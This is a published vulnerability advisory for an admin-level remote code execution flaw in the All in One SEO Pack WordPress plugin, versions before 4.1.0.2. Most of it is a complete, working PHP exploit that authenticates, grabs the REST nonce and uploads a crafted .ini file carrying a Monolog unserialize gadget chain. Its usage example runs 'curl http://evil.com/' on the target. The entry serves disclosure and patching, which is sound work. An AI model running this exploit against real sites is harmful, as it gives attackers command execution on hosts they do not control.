WordPress Plugin Vulnerabilities

All in One SEO Pack < 4.1.0.2 - Admin RCE via unserialize

Description

The plugin enables authenticated users with "aioseo_tools_settings" privilege (most of the time admin) to execute arbitrary code on the underlying host. Users can restore plugin's configuration by uploading a backup .ini file in the section "Tool > Import/Export". However, the plugin attempts to unserialize values of the .ini file. Moreover, the plugin embeds Monolog library which can be used to craft a gadget chain and thus trigger system command execution.

As exploitation requires high privileges, the main threat scenario concerns attackers willing to compromise system host on mutualized wordpress platform where plugin installation has been denied by security hardening by hosting provider (DISALLOW_FILE_MODS=true in config).

Proof of Concept

<?php

/**
    All-in-one-seo-pack wordpress plugin <= 4.1.0.1 authenticated RCE 
    Author: Vincent MICHEL (@darkpills)

    Dev notes:
    - Exploit strategy inspiration from https://wpscan.com/vulnerability/10320
    - Monolog gadget adapted from phpggc Monolog/RCE1
    - Copy/pasted PHPGGC encoding function
*/

// from phpggc Monolog/RCE1 with custom namespace prefix "AIOSEO\Vendor\" to match all-in-one-seo-pack plugin
// ./phpggc -a Monolog/RCE1 shell_exec 'curl http://localhost:4444' 
namespace AIOSEO\Vendor\Monolog\Handler
{
    class SyslogUdpHandler
    {
        protected $socket;

        function __construct($x)
        {
            $this->socket = $x;
        }
    }

    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $initialized = true;
        # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
        protected $bufferLimit = -1;
        protected $processors;

        function __construct($methods, $command)
        {
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = clone $this;
        }
    }
}

namespace {

    // Quick and dirty HTTP request call class
    class Request {

        protected $base_url;
        protected $cookiejar;
        protected $proxy_host;
        protected $proxy_port;

        public function __construct($base_url, $proxy = null) {

            $this->base_url = $base_url;
            $this->cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');

            if ($proxy) {
                $proxy_array = explode(":", $proxy);
                $this->proxy_host = $proxy_array[0];
                $this->proxy_port = $proxy_array[1];    
            }
        }

        public function do($uri, $post = null, $headers = array()) {
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $this->base_url. $uri);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookiejar);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiejar);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

            if ($this->proxy_host && $this->proxy_port) { 
                curl_setopt($ch, CURLOPT_PROXY, $this->proxy_host);
                curl_setopt($ch, CURLOPT_PROXYPORT, $this->proxy_port);
            }

            if ($headers) {
                curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers);    
            }

            if ($post) {
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            }

            $content = curl_exec($ch);

            if(curl_errno($ch))
            {
                throw new Exception(sprintf("HTTP Error: %s", curl_error($ch)));
            }

            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            if ($http_code == 403) {
                throw new Exception(sprintf("HTTP Error: %d: %s\nMake sure you are connected with admin privileges", $http_code, $content));                
            } else if ($http_code >= 400) {
                throw new Exception(sprintf("HTTP Error: %d: %s", $http_code, $content));
            }

            curl_close($ch);

            return $content;
        }

    }

    // Special characters encoding function from phpggc/lib/PHPGGC/Enhancement$ cat ASCIIStrings.php
    function process_serialized($serialized)
    {
        $new = '';
        $last = 0;
        $current = 0;
        $pattern = '#\bs:([0-9]+):"#';

        while(
            $current < strlen($serialized) &&
            preg_match(
                $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
            )
        )
        {

            $p_start = $matches[0][1];
            $p_start_string = $p_start + strlen($matches[0][0]);
            $length = $matches[1][0];
            $p_end_string = $p_start_string + $length;

            # Check if this really is a serialized string
            if(!(
                strlen($serialized) > $p_end_string + 2 &&
                substr($serialized, $p_end_string, 2) == '";'
            ))
            {
                $current = $p_start_string;
                continue;
            }
            $string = substr($serialized, $p_start_string, $length);
            
            # Convert every special character to its S representation
            $clean_string = '';
            for($i=0; $i < strlen($string); $i++)
            {
                $letter = $string[$i];
                $clean_string .= ctype_print($letter) && $letter != '\\' ?
                    $letter :
                    sprintf("\\%02x", ord($letter));
                ;
            }

            # Make the replacement
            $new .= 
                substr($serialized, $last, $p_start - $last) .
                'S:' . $matches[1][0] . ':"' . $clean_string . '";'
            ;
            $last = $p_end_string + 2;
            $current = $last;
        }

        $new .= substr($serialized, $last);
        return $new;
    }

    // Banner
    echo "-- All-in-one-seo-pack <= 4.1.0.1 authenticated admin RCE --".PHP_EOL;
    echo "-- Exploit by Vincent MICHEL (@darkpills) --".PHP_EOL.PHP_EOL;

    // Check args
    if ($argc < 6) {
        echo sprintf("Usage: php %s url login password php_command arguments [proxy]", $argv[0]).PHP_EOL;
        echo sprintf("Example: php %s https://mywordpress.site.com admin admin shell_exec 'curl http://evil.com/'", $argv[0]).PHP_EOL;
        exit(1);
    }

    // Check dependencies
    if (!extension_loaded("curl")) {
        echo "Extension php-curl not loaded!".PHP_EOL;
        exit(1);
    }

    // Settings
    $wp_url = $argv[1];
    $wp_user = $argv[2];
    $wp_pass = $argv[3];
    $function = $argv[4];
    $parameter = $argv[5];
    $proxy = isset($argv[6]) ? $argv[6] : null;

    $request = new Request($wp_url, $proxy);

    try {
        // 1) Log in as admin
        echo sprintf("[+] Authenticating to wordpress %s", $wp_url).PHP_EOL;
        $request->do("/wp-login.php", [
            'log'        => $wp_user,
            'pwd'        => $wp_pass,
            'rememberme' => 'forever',
            'wp-submit'  => 'Log+In',
        ]);

        // 2) GET REST Nonce
        echo "[+] Getting WP REST API nonce".PHP_EOL;
        $content = $request->do("/wp-admin/post-new.php");
        preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches);
        if (!isset($matches[1])) {
            echo sprintf("[!] Nonce not found, are you connected?").PHP_EOL;
            exit(1);    
        }
        $restnonce = $matches[1];
        echo sprintf("[+] Nonce found: %s", $restnonce).PHP_EOL;

        // 3) Upload file to trigger RCE
        echo sprintf("[+] Generating POST payload to execute command: %s(\"%s\")", $function, $parameter).PHP_EOL;
        // Create the POST payload template
        $boundary = uniqid();
        $postData = "";
        $postData .= "------WebKitFormBoundary".$boundary ."\r\n";
        $postData .= "Content-Disposition: form-data; name=\"file\"; filename=\"test.ini\"\r\n";
        $postData .= "Content-Type: application/octet-stream\r\n";
        $postData .= "\r\n";
        $postData .= "[Test]\r\n";
        $postData .= "test='%s'\r\n";
        $postData .= "\r\n";
        $postData .= "------WebKitFormBoundary".$boundary ."--\r\n";

        // Create the gadget chain object
        $gadgetChain = new \AIOSEO\Vendor\Monolog\Handler\SyslogUdpHandler(
            new \AIOSEO\Vendor\Monolog\Handler\BufferHandler(
                ['current', $function],
                [$parameter, 'level' => null]
            )
        );

        // Serialize the object, encode the string, and populate the POST template
        $postData = sprintf($postData, process_serialized(serialize($gadgetChain)));

        // Append in HTTP headers wordpress nonce from previous request in
        $headers = array(
            "X-WP-Nonce: $restnonce", 
            "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" . $boundary
        );
        echo "[+] Uploading ini file with import settings".PHP_EOL;
        $content = $request->do("/index.php/wp-json/aioseo/v1/settings/import/", $postData, $headers);
        echo "[+] Done! Check the result somewhere (blind command execution)".PHP_EOL;

        exit(0);

    } catch (Exception $e) {
        echo sprintf("[!] Error: %s", $e->getMessage()).PHP_EOL;
        exit(1);
    }
}

Affects Plugins

Fixed in 4.1.0.2

References

Classification

Type
RCE
OWASP top 10
CWE

Miscellaneous

Original Researcher
Vincent MICHEL
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-05-09 (about 3 years ago)
Added
2021-05-09 (about 3 years ago)
Last Updated
2021-05-11 (about 3 years ago)

Other